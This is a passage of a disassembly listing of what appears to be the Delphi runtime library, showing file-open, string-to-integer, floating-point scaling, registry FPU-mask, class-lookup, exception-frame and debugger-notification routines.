XREF: sub_20002E58+15j mov eax, esi pop esi pop ebx retn sub_20002E58 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20002E80 proc near ; CODE XREF: sub_20002F60+16p ; sub_20002F7C+5p push ebx push esi push edi mov esi, edx mov edi, ecx xor edx, edx mov ebx, eax mov dx, [eax+4] sub edx, 0D7B0h jz short loc_20002EAC cmp edx, 3 ja loc_20002F42 call dword ptr [ebx+24h] test eax, eax jz short loc_20002EAC call sub_2000277C loc_20002EAC: ; CODE XREF: sub_20002E80+15j ; sub_20002E80+25j mov word ptr [ebx+4], 0D7B3h mov [ebx+8], esi mov dword ptr [ebx+24h], offset sub_20002E58 mov dword ptr [ebx+1Ch], offset sub_200029E0 cmp byte ptr [ebx+48h], 0 jz short loc_20002F29 mov eax, 0C0000000h mov dl, ds:byte_20014008 and edx, 70h shr edx, 2 mov edx, ds:dword_20014064[edx] mov ecx, 2 sub edi, 3 jz short loc_20002F0B mov ecx, 3 inc edi jz short loc_20002F0B mov eax, 40000000h inc edi mov word ptr [ebx+4], 0D7B2h jz short loc_20002F0B mov eax, 80000000h mov word ptr [ebx+4], 0D7B1h loc_20002F0B: ; CODE XREF: sub_20002E80+68j ; sub_20002E80+70j ... push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push ecx ; dwCreationDisposition push 0 ; lpSecurityAttributes push edx ; dwShareMode push eax ; dwDesiredAccess lea eax, [ebx+48h] push eax ; lpFileName call CreateFileA loc_20002F20: ; CODE XREF: sub_20002E80+C0j cmp eax, 0FFFFFFFFh jz short loc_20002F49 mov [ebx], eax jmp short loc_20002F59 ; --------------------------------------------------------------------------- loc_20002F29: ; CODE XREF: sub_20002E80+47j mov dword ptr [ebx+24h], offset sub_200029E0 cmp edi, 3 jz short loc_20002F39 push 0FFFFFFF6h jmp short loc_20002F3B ; --------------------------------------------------------------------------- loc_20002F39: ; CODE XREF: sub_20002E80+B3j push 0FFFFFFF5h ; nStdHandle loc_20002F3B: ; CODE XREF: sub_20002E80+B7j call GetStdHandle jmp short loc_20002F20 ; --------------------------------------------------------------------------- loc_20002F42: ; CODE XREF: sub_20002E80+1Aj mov eax, 66h jmp short loc_20002F54 ; --------------------------------------------------------------------------- loc_20002F49: ; CODE XREF: sub_20002E80+A3j mov word ptr [ebx+4], 0D7B0h call GetLastError loc_20002F54: ; CODE XREF: sub_20002E80+C7j call sub_2000277C loc_20002F59: ; CODE XREF: sub_20002E80+A7j pop edi pop esi pop ebx retn sub_20002E80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20002F60 proc near ; CODE XREF: sub_200129A0+54p mov cl, ds:byte_20014008 and cl, 3 cmp cl, 2 jbe short loc_20002F70 mov cl, 2 loc_20002F70: ; CODE XREF: sub_20002F60+Cj and ecx, 0FFh call sub_20002E80 retn sub_20002F60 endp ; =============== S U B R O U T I N E ======================================= sub_20002F7C proc near ; CODE XREF: CODE:20013435p mov ecx, 3 call sub_20002E80 retn sub_20002F7C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20002F88 proc near ; CODE XREF: sub_200059EC+41p ; sub_2000729C+6p ... push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_20002FFE xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_20002F9B: ; CODE XREF: sub_20002F88+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_20002F9B mov ch, 0 cmp bl, 2Dh jz short loc_2000300C cmp bl, 2Bh jz short loc_2000300E loc_20002FAF: ; CODE XREF: sub_20002F88+89j cmp bl, 24h jz short loc_20003013 cmp bl, 78h jz short loc_20003013 cmp bl, 58h jz short loc_20003013 cmp bl, 30h jnz short loc_20002FD6 mov bl, [esi] inc esi cmp bl, 78h jz short loc_20003013 cmp bl, 58h jz short loc_20003013 test bl, bl jz short loc_20002FF4 jmp short loc_20002FDA ; --------------------------------------------------------------------------- loc_20002FD6: ; CODE XREF: sub_20002F88+39j test bl, bl jz short loc_20003007 loc_20002FDA: ; CODE XREF: sub_20002F88+4Cj ; sub_20002F88+6Aj sub bl, 30h cmp bl, 9 ja short loc_20003007 cmp eax, edi ja short loc_20003007 lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_20002FDA loc_20002FF4: ; CODE XREF: sub_20002F88+4Aj dec ch jz short loc_20003001 test eax, eax jge short loc_20003050 jmp short loc_20003007 ; --------------------------------------------------------------------------- loc_20002FFE: ; CODE XREF: sub_20002F88+8j ; sub_20002F88+95j inc esi jmp short loc_20003007 ; --------------------------------------------------------------------------- loc_20003001: ; CODE XREF: sub_20002F88+6Ej neg eax jle short loc_20003050 js short loc_20003050 loc_20003007: ; CODE XREF: sub_20002F88+50j ; sub_20002F88+58j ... pop ebx sub esi, ebx jmp short loc_20003053 ; --------------------------------------------------------------------------- loc_2000300C: ; CODE XREF: sub_20002F88+20j inc ch loc_2000300E: ; CODE XREF: sub_20002F88+25j mov bl, [esi] inc esi jmp short loc_20002FAF ; --------------------------------------------------------------------------- loc_20003013: ; CODE XREF: sub_20002F88+2Aj ; sub_20002F88+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_20002FFE loc_2000301F: ; CODE XREF: sub_20002F88+C0j cmp bl, 61h jb short loc_20003027 sub bl, 20h loc_20003027: ; CODE XREF: sub_20002F88+9Aj sub bl, 30h cmp bl, 9 jbe short loc_2000303A sub bl, 11h cmp bl, 5 ja short loc_20003007 add bl, 0Ah loc_2000303A: ; CODE XREF: sub_20002F88+A5j cmp eax, edi ja short loc_20003007 shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_2000301F dec ch jnz short loc_20003050 neg eax loc_20003050: ; CODE XREF: sub_20002F88+72j ; sub_20002F88+7Bj ... pop ecx xor esi, esi loc_20003053: ; CODE XREF: sub_20002F88+82j mov [edx], esi pop edi pop esi pop ebx retn sub_20002F88 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000305C proc near ; CODE XREF: sub_2000B268+A5p push esi push edi mov esi, eax mov edi, edx and ecx, 0FFh repe cmpsb pop edi pop esi retn sub_2000305C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_20003070 proc near ; CODE XREF: sub_2000807D+58p ; sub_2000827C+85p jmp sub_20003078 sub_20003070 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003078 proc near ; CODE XREF: sub_20003070j push ebx xor ebx, ebx test eax, eax jl short loc_200030CC jz loc_2000311F cmp eax, 1400h jge loc_20003111 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_2000312B[ebx+edx*2] fmulp st(1), st shr eax, 5 jz short loc_2000311F mov edx, eax and edx, 0Fh jz short loc_200030B9 lea edx, [edx+edx*4] fld tbyte ptr byte_20003261[ebx+edx*2] fmulp st(1), st loc_200030B9: ; CODE XREF: sub_20003078+33j shr eax, 4 jz short loc_2000311F lea eax, [eax+eax*4] fld tbyte_200032F7[ebx+eax*2] fmulp st(1), st jmp short loc_2000311F ; --------------------------------------------------------------------------- loc_200030CC: ; CODE XREF: sub_20003078+5j neg eax cmp eax, 1400h jge short loc_2000311B mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_2000312B[ebx+edx*2] fdivp st(1), st shr eax, 5 jz short loc_2000311F mov edx, eax and edx, 0Fh jz short loc_200030FE lea edx, [edx+edx*4] fld tbyte ptr byte_20003261[ebx+edx*2] fdivp st(1), st loc_200030FE: ; CODE XREF: sub_20003078+78j shr eax, 4 jz short loc_2000311F lea eax, [eax+eax*4] fld tbyte_200032F7[ebx+eax*2] fdivp st(1), st jmp short loc_2000311F ; --------------------------------------------------------------------------- loc_20003111: ; CODE XREF: sub_20003078+12j fstp st fld tbyte_20003121[ebx] jmp short loc_2000311F ; --------------------------------------------------------------------------- loc_2000311B: ; CODE XREF: sub_20003078+5Bj fstp st fldz loc_2000311F: ; CODE XREF: sub_20003078+7j ; sub_20003078+2Cj ... pop ebx retn sub_20003078 endp ; --------------------------------------------------------------------------- tbyte_20003121 dt 1.1897314953572317651e4932 ; DATA XREF: sub_20003078+9Br tbyte_2000312B dt 1.0 ; DATA XREF: sub_20003078+20r ; sub_20003078+65r align 4 dd 0 dd 4002A0h, 0 dd 5C80000h, 40h, 0 dd 4008FAh, 0 dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0 dd 12F42400h, 40h, 96800000h, 401698h, 0 dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0 dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h dd 40h, 84E72A00h, 402A91h, 0F4800000h, 2DB5E620h, 40h dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h dd 403E8Ah, 0C5AC6200h, 41AD78EBh, 7A800040h, 0D726B717h dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah dd 404BA9h, 0CECCEDA1h, 4ED3C21Bh, 1484A040h, 59516140h dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h, 8F07D736h dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h db 40h byte_20003261 db 96h ; DATA XREF: sub_20003078+38r ; sub_20003078+7Dr dw 8122h dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh, 0CFA6D540h dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh, 0E98CE041h dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh, 0CCE37643h dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h dd 7A4AE1EBh db 95h, 0CFh, 45h tbyte_200032F7 dt 9.9999999999999999996e479 ; DATA XREF: sub_20003078+49r ; sub_20003078+8Er db 0C7h, 91h, 0Eh dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h dd 3511626Eh, 0C37BCAAEh ; [00000006 BYTES: COLLAPSED FUNCTION GetKeyboardType. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_20003364 proc near ; CODE XREF: sub_20005AB4+39p push ebx xor ebx, ebx push 0 ; nTypeFlag call GetKeyboardType cmp eax, 7 jnz short loc_2000338F push 1 ; nTypeFlag call GetKeyboardType and eax, 0FF00h cmp eax, 0D00h jz short loc_2000338D cmp eax, 400h jnz short loc_2000338F loc_2000338D: ; CODE XREF: sub_20003364+20j mov bl, 1 loc_2000338F: ; CODE XREF: sub_20003364+Dj ; sub_20003364+27j mov eax, ebx pop ebx retn sub_20003364 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20003394 proc near ; CODE XREF: sub_20005AB4+42p cbData = dword ptr -0Ch Data = byte ptr -8 hKey = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h movzx eax, ds:word_20014020 mov dword ptr [ebp+Data], eax lea eax, [ebp+hKey] push eax ; phkResult push 1 ; samDesired push 0 ; ulOptions push offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL" push 80000002h ; hKey call RegOpenKeyExA test eax, eax jnz short loc_2000340C xor eax, eax push ebp push offset loc_20003405 push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+cbData], 4 lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+Data] push eax ; lpData push 0 ; lpType push 0 ; lpReserved push offset aFpumaskvalue ; "FPUMaskValue" mov eax, [ebp+hKey] push eax ; hKey call RegQueryValueExA xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000340C loc_200033FB: ; CODE XREF: sub_20003394+76j mov eax, [ebp+hKey] push eax ; hKey call RegCloseKey retn ; --------------------------------------------------------------------------- loc_20003405: ; DATA XREF: sub_20003394+2Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200033FB ; --------------------------------------------------------------------------- loc_2000340C: ; CODE XREF: sub_20003394+29j ; sub_20003394+70j ; DATA XREF: ... mov ax, ds:word_20014020 and ax, 0FFC0h mov dx, word ptr [ebp+Data] and dx, 3Fh or ax, dx mov ds:word_20014020, ax mov esp, ebp pop ebp retn sub_20003394 endp ; --------------------------------------------------------------------------- align 4 ; char aSoftwareBorlan[] aSoftwareBorlan db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_20003394+18o ; char aFpumaskvalue[] aFpumaskvalue db 'FPUMaskValue',0 ; DATA XREF: sub_20003394+4Co align 4 ; =============== S U B R O U T I N E ======================================= sub_20003458 proc near ; CODE XREF: sub_200038A4+20p ; CODE:20003B9Ap ... fninit wait fldcw ds:word_20014020 retn sub_20003458 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003464 proc near ; CODE XREF: sub_200118C4+25p mov eax, [eax] mov edx, eax mov eax, edx retn sub_20003464 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000346C proc near ; CODE XREF: CODE:2000A393p ; sub_2000EB50+96p ... push esi push edi mov edi, edx mov esi, [eax-2Ch] xor ecx, ecx mov cl, [esi] inc ecx rep movsb pop edi pop esi retn sub_2000346C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20003480 proc near ; CODE XREF: sub_200118C4+30p mov eax, [eax-24h] test eax, eax jz short locret_20003489 mov eax, [eax] locret_20003489: ; CODE XREF: sub_20003480+5j retn sub_20003480 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000348C proc near ; CODE XREF: sub_20005554p ; DATA XREF: CODE:2000104Co ... push ebx mov ebx, eax mov eax, ebx call sub_200034BC call sub_20002668 mov edx, eax mov eax, ebx call sub_20003500 pop ebx retn sub_2000348C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200034A8 proc near ; CODE XREF: sub_2000A670+6p ; DATA XREF: CODE:20001050o ... push ebx mov ebx, eax mov eax, ebx call sub_20003558 mov eax, ebx call sub_20002688 pop ebx retn sub_200034A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200034BC proc near ; CODE XREF: sub_2000348C+5p add eax, 0FFFFFFD8h mov eax, [eax] retn sub_200034BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200034C4 proc near ; CODE XREF: sub_2000B9DC+16p ; sub_2000B9DC+50p ... test dl, dl jz short loc_200034D0 add esp, 0FFFFFFF0h call sub_2000373C loc_200034D0: ; CODE XREF: sub_200034C4+2j test dl, dl jz short locret_200034E3 call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch locret_200034E3: ; CODE XREF: sub_200034C4+Ej retn sub_200034C4 endp ; =============== S U B R O U T I N E ======================================= sub_200034E4 proc near ; CODE XREF: sub_2000B8AC+38p ; sub_2000BA50+19p ... call sub_200037A4 test dl, dl jle short locret_200034F2 call sub_2000378C locret_200034F2: ; CODE XREF: sub_200034E4+7j retn sub_200034E4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200034F4 proc near ; CODE XREF: sub_200038A4+11Fj ; sub_20003A30+30p ... test eax, eax jz short locret_200034FF mov dl, 1 mov ecx, [eax] call dword ptr [ecx-4] locret_200034FF: ; CODE XREF: sub_200034F4+2j retn sub_200034F4 endp ; =============== S U B R O U T I N E ======================================= sub_20003500 proc near ; CODE XREF: sub_2000348C+13p push ebx push esi push edi mov ebx, eax mov edi, edx stosd mov ecx, [ebx-28h] xor eax, eax push ecx shr ecx, 2 dec ecx rep stosd pop ecx and ecx, 3 rep stosb mov eax, edx mov edx, esp loc_2000351E: ; CODE XREF: sub_20003500+2Fj mov ecx, [ebx-48h] test ecx, ecx jz short loc_20003526 push ecx loc_20003526: ; CODE XREF: sub_20003500+23j mov ebx, [ebx-24h] test ebx, ebx jz short loc_20003531 mov ebx, [ebx] jmp short loc_2000351E ; --------------------------------------------------------------------------- loc_20003531: ; CODE XREF: sub_20003500+2Bj cmp esp, edx jz short loc_20003552 loc_20003535: ; CODE XREF: sub_20003500+50j pop ebx mov ecx, [ebx] add ebx, 4 loc_2000353B: ; CODE XREF: sub_20003500+4Cj mov esi, [ebx+10h] test esi, esi jz short loc_20003548 mov edi, [ebx+14h] mov [edi+eax], esi loc_20003548: ; CODE XREF: sub_20003500+40j add ebx, 1Ch dec ecx jnz short loc_2000353B cmp esp, edx jnz short loc_20003535 loc_20003552: ; CODE XREF: sub_20003500+33j pop edi pop esi pop ebx retn sub_20003500 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003558 proc near ; CODE XREF: sub_200034A8+5p push ebx push esi mov ebx, eax mov esi, eax loc_2000355E: ; CODE XREF: sub_20003558+1Bj mov esi, [esi] mov edx, [esi-40h] mov esi, [esi-24h] test edx, edx jz short loc_20003571 call sub_200048F0 mov eax, ebx loc_20003571: ; CODE XREF: sub_20003558+10j test esi, esi jnz short loc_2000355E pop esi pop ebx retn sub_20003558 endp ; =============== S U B R O U T I N E ======================================= sub_20003578 proc near ; CODE XREF: sub_200035A8+59p xchg edx, ecx cmp ecx, 0FF000000h jnb short loc_20003593 cmp ecx, 0FE000000h jb short loc_20003591 movsx ecx, cx add ecx, [eax] jmp dword ptr [ecx] ; --------------------------------------------------------------------------- loc_20003591: ; CODE XREF: sub_20003578+10j jmp ecx ; --------------------------------------------------------------------------- loc_20003593: ; CODE XREF: sub_20003578+8j and ecx, 0FFFFFFh add ecx, eax mov eax, edx mov edx, [ecx] jmp sub_2000550C sub_20003578 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200035A8 proc near ; CODE XREF: CODE:20005573p ; sub_2000EF84+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi xor ebx, ebx mov [ebp+var_8], ebx mov esi, ecx mov [ebp+var_4], edx mov edi, eax xor eax, eax push ebp push offset loc_2000362C push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax mov [esi], eax mov edx, [ebp+var_4] mov eax, [edi] call sub_2000363C mov ebx, eax test ebx, ebx jz short loc_20003610 mov eax, [ebx+14h] test eax, eax jz short loc_200035F9 add edi, eax mov [esi], edi cmp dword ptr [esi], 0 jz short loc_20003610 mov eax, [esi] push eax mov eax, [eax] call dword ptr [eax+4] jmp short loc_20003610 ; --------------------------------------------------------------------------- loc_200035F9: ; CODE XREF: sub_200035A8+3Cj lea ecx, [ebp+var_8] mov edx, [ebx+18h] mov eax, edi call sub_20003578 mov edx, [ebp+var_8] mov eax, esi call sub_2000550C loc_20003610: ; CODE XREF: sub_200035A8+35j ; sub_200035A8+45j ... cmp dword ptr [esi], 0 setnz bl xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20003633 loc_20003623: ; CODE XREF: sub_200035A8+89j lea eax, [ebp+var_8] call sub_200054F4 retn ; --------------------------------------------------------------------------- loc_2000362C: ; DATA XREF: sub_200035A8+18o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20003623 ; --------------------------------------------------------------------------- loc_20003633: ; CODE XREF: sub_200035A8+83j ; DATA XREF: sub_200035A8+76o mov eax, ebx pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_200035A8 endp ; =============== S U B R O U T I N E ======================================= sub_2000363C proc near ; CODE XREF: sub_200035A8+2Cp push ebx push esi mov ebx, eax loc_20003640: ; CODE XREF: sub_2000363C+3Dj mov eax, [ebx-48h] test eax, eax jz short loc_20003670 mov ecx, [eax] add eax, 4 loc_2000364C: ; CODE XREF: sub_2000363C+32j mov esi, [edx] cmp esi, [eax] jnz short loc_2000366A mov esi, [edx+4] cmp esi, [eax+4] jnz short loc_2000366A mov esi, [edx+8] cmp esi, [eax+8] jnz short loc_2000366A mov esi, [edx+0Ch] cmp esi, [eax+0Ch] jz short loc_2000367D loc_2000366A: ; CODE XREF: sub_2000363C+14j ; sub_2000363C+1Cj ... add eax, 1Ch dec ecx jnz short loc_2000364C loc_20003670: ; CODE XREF: sub_2000363C+9j mov ebx, [ebx-24h] test ebx, ebx jz short loc_2000367B mov ebx, [ebx] jmp short loc_20003640 ; --------------------------------------------------------------------------- loc_2000367B: ; CODE XREF: sub_2000363C+39j xor eax, eax loc_2000367D: ; CODE XREF: sub_2000363C+2Cj pop esi pop ebx retn sub_2000363C endp ; =============== S U B R O U T I N E ======================================= sub_20003680 proc near ; CODE XREF: CODE:2000A33Cp ; sub_2000AAC4+96p ... push ebx push esi mov esi, edx mov ebx, eax test ebx, ebx jz short loc_20003697 mov edx, esi mov eax, [ebx] call sub_200036EC test al, al jnz short loc_2000369C loc_20003697: ; CODE XREF: sub_20003680+8j xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_2000369C: ; CODE XREF: sub_20003680+15j mov al, 1 pop esi pop ebx retn sub_20003680 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200036A4 proc near ; CODE XREF: sub_200036D4+4p ; sub_20003714+13p push edi xchg eax, esi jmp short loc_200036AA ; --------------------------------------------------------------------------- loc_200036A8: ; CODE XREF: sub_200036A4+1Fj mov esi, [esi] loc_200036AA: ; CODE XREF: sub_200036A4+2j mov edi, [esi-30h] test edi, edi jz short loc_200036BE movzx ecx, word ptr [edi] push ecx add edi, 2 repne scasw jz short loc_200036C7 pop ecx loc_200036BE: ; CODE XREF: sub_200036A4+Bj mov esi, [esi-24h] test esi, esi jnz short loc_200036A8 pop edi retn ; --------------------------------------------------------------------------- loc_200036C7: ; CODE XREF: sub_200036A4+17j pop eax add eax, eax sub eax, ecx mov esi, [edi+eax*2-4] pop edi retn sub_200036A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200036D4 proc near ; CODE XREF: sub_20010368+43p ; sub_20010368+52p ... push eax push ecx mov eax, [eax] call sub_200036A4 pop ecx pop eax jz short loc_200036E3 jmp esi ; --------------------------------------------------------------------------- loc_200036E3: ; CODE XREF: sub_200036D4+Bj pop ecx jmp sub_20002988 sub_200036D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200036EC proc near ; CODE XREF: sub_20003680+Ep jmp short loc_200036F0 ; --------------------------------------------------------------------------- loc_200036EE: ; CODE XREF: sub_200036EC+Dj mov eax, [eax] loc_200036F0: ; CODE XREF: sub_200036ECj cmp eax, edx jz short loc_200036FC mov eax, [eax-24h] test eax, eax jnz short loc_200036EE retn ; --------------------------------------------------------------------------- loc_200036FC: ; CODE XREF: sub_200036EC+6j mov al, 1 retn sub_200036EC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20003700 proc near ; DATA XREF: CODE:20001038o ; CODE:2000112Co ... mov eax, 8000FFFFh retn sub_20003700 endp ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_20003714 proc near ; DATA XREF: CODE:20001044o ; CODE:20001138o ... push esi mov si, [edx] or si, si jz short loc_20003734 cmp si, 0C000h jnb short loc_20003734 push eax mov eax, [eax] call sub_200036A4 pop eax jz short loc_20003734 mov ecx, esi pop esi jmp ecx ; --------------------------------------------------------------------------- loc_20003734: ; CODE XREF: sub_20003714+7j ; sub_20003714+Ej ... pop esi mov ecx, [eax] jmp dword ptr [ecx-10h] sub_20003714 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000373C proc near ; CODE XREF: sub_200034C4+7p ; sub_2000A4E4+Ap ... arg_0 = byte ptr 4 push edx push ecx push ebx test dl, dl jl short loc_20003746 call dword ptr [eax-0Ch] loc_20003746: ; CODE XREF: sub_2000373C+5j xor edx, edx lea ecx, [esp+0Ch+arg_0] mov ebx, fs:[edx] mov [ecx], ebx mov [ecx+8], ebp mov dword ptr [ecx+4], offset sub_20003765 mov [ecx+0Ch], eax mov fs:[edx], ecx pop ebx pop ecx pop edx retn sub_2000373C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_20003765 proc near ; DATA XREF: sub_2000373C+18o jmp sub_200038A4 sub_20003765 endp ; --------------------------------------------------------------------------- mov eax, [esp+2Ch] mov eax, [eax+0Ch] test eax, eax jz short loc_20003783 mov ecx, [eax] mov dl, 81h push eax call dword ptr [ecx-4] pop eax call sub_2000378C loc_20003783: ; CODE XREF: CODE:20003773j call sub_20003A30 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000378C proc near ; CODE XREF: sub_200034E4+9p ; CODE:2000377Ep ... mov edx, [eax] call dword ptr [edx-8] retn sub_2000378C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003794 proc near ; CODE XREF: sub_200034C4+10p ; sub_2000A4E4+25p ... push ebx mov ebx, eax mov eax, ebx mov edx, [eax] call dword ptr [edx-1Ch] mov eax, ebx pop ebx retn sub_20003794 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200037A4 proc near ; CODE XREF: sub_200034E4p ; sub_2000B8AC+4p ... test dl, dl jg short loc_200037A9 retn ; --------------------------------------------------------------------------- loc_200037A9: ; CODE XREF: sub_200037A4+2j push eax push edx mov edx, [eax] call dword ptr [edx-18h] pop edx pop eax retn sub_200037A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200037B4 proc near ; CODE XREF: sub_20003A30+35p cmp ds:byte_20014024, 1 jbe short locret_200037CE push 0 push 0 push 0 push 0EEDFADFh call ds:dword_20015014 locret_200037CE: ; CODE XREF: sub_200037B4+7j retn sub_200037B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200037D0 proc near ; CODE XREF: sub_200038A4+4Dp cmp ds:byte_20014024, 0 jz short locret_200037F0 push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call ds:dword_20015014 add esp, 8 pop eax locret_200037F0: ; CODE XREF: sub_200037D0+7j retn sub_200037D0 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_2000380C loc_200037F4: ; CODE XREF: sub_2000380C+Bj push esp push 1 push 0 push 0EEDFAE0h call ds:dword_20015014 add esp, 4 pop eax retn ; END OF FUNCTION CHUNK FOR sub_2000380C ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000380C proc near ; CODE XREF: sub_200038A4+FDp ; FUNCTION CHUNK AT 200037F4 SIZE 00000015 BYTES cmp ds:byte_20014024, 1 jbe short locret_2000381C push eax push ebx jmp loc_200037F4 ; --------------------------------------------------------------------------- locret_2000381C: ; CODE XREF: sub_2000380C+7j retn sub_2000380C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20003820 proc near ; CODE XREF: sub_20003840+Cp test ecx, ecx jz short locret_2000383D mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_20003838 cmp byte ptr [ecx], 0EBh jnz short locret_2000383D movsx eax, al inc ecx inc ecx jmp short loc_2000383B ; --------------------------------------------------------------------------- loc_20003838: ; CODE XREF: sub_20003820+Aj add ecx, 5 loc_2000383B: ; CODE XREF: sub_20003820+16j add ecx, eax locret_2000383D: ; CODE XREF: sub_20003820+2j ; sub_20003820+Fj retn sub_20003820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20003840 proc near ; CODE XREF: sub_200019A8+204Dp cmp ds:byte_20014024, 1 jbe short locret_20003866 push eax push edx push ecx call sub_20003820 push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:dword_20015014 pop ecx pop ecx pop edx pop eax locret_20003866: ; CODE XREF: sub_20003840+7j retn sub_20003840 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003868 proc near ; CODE XREF: sub_20003A84+28p cmp ds:byte_20014024, 1 jbe short locret_20003883 push edx push esp push 1 push 0 push 0EEDFAE2h call ds:dword_20015014 pop edx locret_20003883: ; 